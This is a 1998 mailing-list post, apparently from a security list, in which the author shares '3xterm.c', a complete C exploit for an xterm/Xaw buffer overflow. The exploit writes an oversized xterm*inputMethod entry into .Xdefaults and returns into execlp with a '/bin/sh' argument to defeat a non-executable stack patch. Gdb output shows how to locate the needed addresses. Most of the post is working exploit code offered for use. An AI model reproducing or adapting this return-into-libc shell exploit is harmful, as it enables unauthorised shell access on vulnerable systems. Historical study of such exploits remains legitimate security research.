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Re: dip-3.3.7p exploit (stackpatch_
From: woloszyn () NOSPAM IT PL (M.C.Mar)
Date: Sun, 28 Jun 1998 14:04:19 +0200


On Fri, 26 Jun 1998, Thomas Troeger wrote:

Hi,

While playing around with dip-3.3.7p I realized that the method I used in my
previous posting won't do. So I had a look at the source and developed a new
program. Here it goes:

(...)

So.. I also developed some time ago xploit that works around nonexecutable
stackpatch (Linux), but for xterm and Xaw vulnerability.
It seemt that defeating Sorar's stackpatch is easyier than we thought if
program contains any exec* PLT entry. It it contains exec*p we may use any
string to execute ./_anystring_ if we have . in PATH variable.
So here goes my 'sploit:

$ cat 3xterm.c
/*

A simple xploit working around non-executable stack patch! ;)
Based on Solar Designer's: "Getting around non-executable stack(fix)" post and:
Rafa³ Wojtczuk's "Defeating Solar Designer'a Non-executable Stack Patch"

sploit by Kil3r of Lam3rZ against both Xaw and neXtaw widgets based on
xterm_exp.c by alcuin

Compile it like this:
gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc


Description:
The sploit simply puts the EXECLP address and its parameters addresses
onto the stack. To work fine you need to look for execlp Program Linkage
Table entry in xterm and for "/bin/sh" string in its text segment...

emsi:~mcmar/hack# gdb xterm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i486-slackware-linux),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) print execlp
$1 = {<text variable, no debug info>} 0x804bc78 <execlp>
(gdb) x/s 0x8063d2e
0x8063d2e <_fini+8158>:  "/bin/sh"

0x804bc78 and 0x8063d2e are OK for me, but you may need to look for the
riht ones in your case... ;)

GreetZ: bulba, smierc, all of  Lam3rZ teem and other Polish HackerZ ;)

*/


#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>


#define CONFFILE ".Xdefaults"
#define OLDFILE ".Xdefaults.old"
#define NEWFILE ".Xdefaults.new"

#define EXECLP 0x804bc78  // execlp PLT adress in xterm
#define BIN_SH 0x8063d2e  // "/bin/sh" string address in xterm ;)


int *ptr;

void main(int argc, char *argv[]) {

  char *home;
  FILE *f_in, *f_out;
  char buff[16384];
  char shellbuf[16384];
  char *s;
  int i;


  if (home = getenv("HOME")) chdir(home);

  if (!(f_out = fopen(NEWFILE, "w"))) {
    perror("fopen");
    exit(1);
  }



  if (f_in = fopen(CONFFILE, "r")) {
    fseek(f_in,0,SEEK_SET);
    while (!feof(f_in)) {
      fgets(buff,16384,f_in);
      for (s=buff;isblank(*s);s++);
      if (strncmp(s,"xterm*inputMethod",17)<0)
        fputs(buff,f_out);
    }
    fclose(f_in);
  }

  /* fill the buffer with nops */
  memset(shellbuf, 0x90, sizeof(shellbuf));
  shellbuf[sizeof(shellbuf)-1] = 0;


  ptr = (int *)(shellbuf+1028);
  *ptr++ =EXECLP;
  *ptr++ =EXECLP;
  *ptr++ =BIN_SH;
  *ptr++ =BIN_SH;
  *ptr++ = 0;


  fputs("xterm*inputMethod:",f_out);
  fputs(shellbuf, f_out);
  fclose(f_out);

  system("/bin/cp "CONFFILE" "OLDFILE);
  system("/bin/mv -f "NEWFILE" "CONFFILE);

  execl("/usr/X11R6/bin/xterm","xterm",NULL);
}


It contains some useless stuff, but it's 'coz I just use normal xterm
soloit as a base.

RegardZ,
--
___________________________________________________________________________
M.C.Mar   An NT server can be run by an idiot, and usually is.   emsi () it pl
      "If you can't make it good, make it LOOK good." - Bill Gates
  Moze to nie miejsce, ale tak np. programy M$ to swoiste pomniki glupoty.



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